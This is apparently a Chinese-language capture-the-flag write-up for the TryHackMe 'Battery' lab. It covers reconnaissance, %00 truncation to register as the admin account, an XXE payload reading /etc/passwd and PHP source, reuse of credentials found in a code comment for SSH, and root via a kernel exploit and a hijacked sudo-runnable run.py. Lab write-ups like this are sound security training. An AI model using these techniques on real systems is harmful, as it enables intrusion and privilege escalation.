URL : https://tryhackme.com/room/battery
IP : 10.10.207.162
Recon 掃 Portrustscan -a 10.10.207.162 -r 1-65535 發現有開22 80nmap -A -p22,80 10.10.207.162- Web 觀察首頁掃路徑- /forms/admin.php- 發現 /forms 把 Header 拔掉就不會自動跳轉- 裡面傳送的資料是 XML ,可能可以 XXE但沒有登入都失敗 function XMLFunction(){ var xml = '' + '' + '' + '' + $('#name').val() + '' + '' + $('#search').val() + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); document.getElementById('errorMessage').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; 在 register.php 註冊一組帳密meow ABC meow 註冊成功嘗試登入- 使用介面上的功能 發現不能使用再註冊一組- meow1 DEF meow1掃目錄- 發現一個 /report載下來發現是一個 ELF- Reverse 選單使用者- 字串比較- 更新- 這邊看到 admin@bank.a 滿可疑的 Web 嘗試註冊 admin@bank.a 被嘲諷ㄌQQ 但這代表應該確實跟這個有關!!用 Burp 後面加上 %00 截斷- 註冊成功- 後台亂輸入都會噴錯- 重新試著 XXE- function XMLFunction(){ var xml = '' + '\n' + ' ]>\n' + '' + '' + "0" + '' + '' + "&b;" + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; XMLFunction(); 可以讀檔 cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false yash:x:1002:1002:,,,:/home/yash:/bin/bash 看起來有興趣的使用者cyber yash讀取原始碼- php://filter/convert.base64-encode/resource=/var/www/html/acc.php 找到註解上的密碼//MY CREDS :- cyber:super#secure&password! SSH 順利連上取得 Base Flag- 提權 起手式 sudo -l 發現可以用 root 執行一個 run.py``run.py- 但我們沒有權限讀取他 QQ觀察原始碼- admin.php找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details > a.sql 看到一組密碼 I_know_my_password但好像就沒有什麼進展了 QQ跑 Linpeas- 發現 Linux Kernel 好像有點舊,可以用 Exploit https://www.exploit-db.com/exploits/37292試著載下來編譯執行- 就成功 Root ㄌFlag2- Root Flag- 另外一種提權法 剛剛可以用 sudo 執行 run.py但是沒有權限可以讀取但因為這是我的家目錄,所以我可以改檔名、新增檔案- 所以自己創一個 run.py- import os os.system("/bin/bash")再 sudo 它- 也可以順利提權 學到ㄌ %00 截斷
XXE 記得加 ;